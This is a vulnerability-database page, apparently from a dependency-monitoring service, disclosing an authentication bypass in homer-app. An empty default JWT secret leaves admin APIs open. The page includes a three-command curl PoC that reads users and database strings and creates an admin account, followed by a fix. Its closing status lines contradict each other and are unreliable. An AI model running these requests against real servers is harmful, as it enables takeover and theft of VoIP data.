Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-rqcc-94gv-wjm9
github.com/sipcapture/homer-appSummary
Both JWT middleware functions (JWTMiddleware and JWTMiddlewareV4) immediately return next(c) when jwtSecret == "". The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under /api/v1, /api/v3, and /api/v4 are completely unauthenticated.
Details
coordinator/handlers/auth.go lines 298-304:
func (h *Auth) JWTMiddleware() echo.MiddlewareFunc {
return func(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
if h.jwtSecret == "" {
return next(c) // bypass — no validation performed
}
coordinator/handlers/auth_v4_helpers.go lines 177-182:
func (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {
return func(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
if h.jwtSecret == "" {
return next(c) // same bypass
coordinator/coordinator.go lines 315-317:
if c.config.JWT.Secret != "" {
protected.Use(authHandler.JWTMiddleware()) // middleware not even registered when secret is empty
}
config/config.go line 845: Secret field struct tag has default:"".
The example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.
PoC
# On a default Homer installation (no JWT secret configured), all protected routes are open:
curl http://<homer-host>/api/v3/users
# Returns full user list with no credentials
curl http://<homer-host>/api/v3/databases
# Returns all database connection strings
curl -X POST http://<homer-host>/api/v3/users \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"pw","partid":10,"usergroup":"admin"}'
# Creates a new admin user with no credentials
Impact
Missing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.
Fix
Fail closed: if JWT.Secret is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:
if h.jwtSecret == "" {
log.Fatal("coordinator.jwt.secret must be set to a non-empty value")
}
If possible, please apply for a CVE number when posting.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard